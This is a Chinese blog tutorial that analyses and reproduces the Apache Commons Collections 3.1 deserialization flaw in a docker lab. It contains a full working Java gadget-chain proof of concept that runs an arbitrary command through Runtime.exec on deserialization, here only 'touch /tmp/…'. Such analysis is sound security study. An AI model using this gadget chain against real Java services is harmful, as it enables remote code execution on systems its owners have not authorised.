溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Apache Commons Collections反序列化漏洞分析與復現(xiàn)

發(fā)布時間:2022-01-18 16:21:43 來源:億速云 閱讀:166 作者:柒染 欄目:網(wǎng)絡安全

如何進行Apache Commons Collections反序列化漏洞分析與復現(xiàn),針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

1.1 狀態(tài)

完成漏洞挖掘條件分析、漏洞復現(xiàn)。

1.2 漏洞分析

存在安全缺陷的版本:Apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache Maven 3.6.3。

POC核心代碼:

package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//將transformers數(shù)組存入ChaniedTransformer這個繼承類Transformer transformerChain = new ChainedTransformer(transformers);//        transformerChain.transform(null);//創(chuàng)建Map并綁定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//        //觸發(fā)漏洞//        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//        onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//將ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的數(shù)據(jù)流進行反序列化,驗證ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();//    }//}}}

漏洞利用思路:

Transformer接口-實現(xiàn)類-InvokerTransformer(),可調用任何函數(shù)。

為實現(xiàn) Runtime.getRuntime().exec(cmd),要多次調用 transformer 并將當前返回結果作為下次輸入信息。

為調用 Runtime.getRuntime(),考慮 ConstantTransformer 類,它可直接將輸入的參數(shù)作為輸出。

ChainedTransformer 作為實現(xiàn)類,對于接收的Transformer 數(shù)組,采用自身的transform方法(參數(shù)是用戶輸入的)逐次處理Transformer數(shù)組對象,將其結果作為下次重復調用的輸入?yún)?shù)。它的 transform()方法即可出觸發(fā)漏洞。

為尋找反序列化途徑,即讀進來數(shù)據(jù)被反序列化執(zhí)行,則反向尋找可觸發(fā)ChainedTransformer 對象 .transform() 方法的途徑。

HashMap類可以鍵值對方式存儲數(shù)據(jù),put(key,value)方法可存儲數(shù)據(jù)。

TransformedMap類的功能是存儲鍵值對并將其轉換為transform objects,decorate()方法可創(chuàng)建鍵值對組,checkSetValue()方法會觸發(fā)this.valueTransformer.transform()語句。依次反向尋找調用 checkSetValue()【1】,使 this.valueTransformer 為 ChainedTransformer 對象的途徑【2】。

對于【2】,TransformedMap 類的靜態(tài)方法 decorate()可達到目標。

對于【1】,AbstractInputCheckedMapDecorator 類 MapEntry 靜態(tài)類的setValue方法會執(zhí)行this.parent.checkSetValue(value),則接下來應使this.parent為TransformedMap對象【3】。

對于【3】,正向分析POC中此段代碼:

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

研究可知,執(zhí)行過程中多次在AbstractInputCheckedMapDecorator類中,將TransformedMap對象賦值給this.parent,返回Map.Entry對象,正好可以執(zhí)行setValue()方法,觸發(fā)漏洞。

為提升通用性,必須設法使得調用反序列化方法即觸發(fā)漏洞,因此,考慮尋找類對象滿足“重寫反序列化readObject()且執(zhí)行Map類對象變量的setValue(),同時此變量可被控制賦鍵值數(shù)據(jù)”。AnnotationInvocationHandler類滿足此需求【它對Map類型的成員變量的每個條目均調用setValue()】。

Class.forName() 功能是加載類。

則再次分析,對于【1】,正向分析POC中核心代碼:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();

研究可知,執(zhí)行過程會執(zhí)行 MapEntry 靜態(tài)類的 setValue 方法,且會執(zhí)行entrySet 方法使得 this.parent=TransformedMap 對象,從而觸發(fā)漏洞。

總的來說,正向的POC構造思路為:先構造 ChainedTransformer 對象,隨后創(chuàng)建 Map 對象,再采用 TransformedMap 類實例將 ChainedTransformer 對象保存至 Map 類對象中,再通過反射方法獲得經 Map 類對象初始化的AnnotationInvocationHandler 類實例,對其進行序列化。

1.3 docker復現(xiàn)

下載制作的docker鏡像,用以下命令:

docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1

設置局域網(wǎng)及容器ip、啟動容器,例子:

(1)自定義網(wǎng)絡

docker network create --subnet=192.168.10.1/24 testnet

(2)啟動docker容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

在容器【Apache-Commons-Collections】中,執(zhí)行命令【java -jar commons-collections-3.1.jar】,則生成文件【CommonsCollections3.1】,如下圖。

如何進行Apache Commons Collections反序列化漏洞分析與復現(xiàn)

關于如何進行Apache Commons Collections反序列化漏洞分析與復現(xiàn)問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業(yè)資訊頻道了解更多相關知識。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經查實,將立刻刪除涉嫌侵權內容。

AI